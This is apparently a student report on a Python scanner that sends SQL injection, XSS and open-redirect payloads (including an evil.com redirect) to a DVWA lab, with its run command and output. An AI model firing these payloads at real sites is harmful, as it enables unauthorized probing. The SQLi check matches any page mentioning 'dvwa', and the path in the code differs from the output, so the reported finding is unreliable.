

PYTHON BASED WEB VULNERABILITY SCANNER

INTRODUCTION

In this project, a Python-based vulnerability scanner was developed to automatically detect common web application flaws such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Open Redirects. The scanner sends crafted payloads to the target application (DVWA in this case) and analyses the responses to identify potential vulnerabilities. This approach demonstrates how automated tools can assist in penetration testing and enhance web application security assessments.

PYTHON PROGRAM

```
import requests
import argparse

# Payloads
SQLI_PAYLOADS = ["' OR 1=1--", "' UNION SELECT NULL,NULL--"]
XSS_PAYLOADS = ["<script>alert(1)</script>", "\" onmouseover=\"alert(1)"]
REDIRECT_PAYLOADS = ["http://evil.com"]

def test_sql_i(url):
    for payload in SQLI_PAYLOADS:
        r = requests.get(url, params={"id": payload})
        if "error" in r.text.lower() or "sql" in r.text.lower() or "dvwa"
in r.text.lower():
            return ("SQL Injection", url, payload, "Database error/bypass
detected")
    return None

def test_xss(url):
    for payload in XSS_PAYLOADS:
        r = requests.get(url, params={"q": payload})
        if payload in r.text:
            return ("XSS", url, payload, "Payload reflected in response")
    return None

def test_redirect(url):
    for payload in REDIRECT_PAYLOADS:
        r = requests.get(url, params={"next": payload},
allow_redirects=False)
        if r.status_code in [301, 302] and "evil.com" in
r.headers.get("Location", ""):
```

```

        return ("Open Redirect", url, payload, "Redirected to external
domain")
    return None

def main():
    parser = argparse.ArgumentParser(description="DVWA Scanner 1.0")
    parser.add_argument("-u", "--url", required=True, help="Target DVWA
URL")
    args = parser.parse_args()

    print("[*] Starting scan on", args.url)

    findings = []
    sqli = test_sql_i(args.url + "/vulnerabilities/sql_i/")
    if sqli: findings.append(sqli)

    xss = test_xss(args.url + "/vulnerabilities/xss_r/")
    if xss: findings.append(xss)

    redir = test_redirect(args.url + "/vulnerabilities/redirect/")
    if redir: findings.append(redir)

    print("\nVULNERABILITY REPORT")
    print("-" * 60)
    for f in findings:
        print(f"{f[0]}\nURL: {f[1]}\nPayload: {f[2]}\nEvidence: {f[3]}\n")

    print("[+] Scan complete. Found", len(findings), "vulnerabilities")

if __name__ == "__main__":
    main()

```

EXECUTION COMMAND

python dvwascanner.py -u http://<IP_ADDRESS>/dvwa

OUTPUT

```
(mubassherazaidy@kali)-[~/Documents/PYTHON/WEB_SCANNER]
$ python dvwascanner.py -u http://192.168.1.26/dvwa
[*] Starting scan on http://192.168.1.26/dvwa

VULNERABILITY REPORT


---


SQL Injection
URL: http://192.168.1.26/dvwa/vulnerabilities/sqli/
Payload: ' OR 1=1--
Evidence: Database error/bypass detected

[+] Scan complete. Found 1 vulnerabilities
```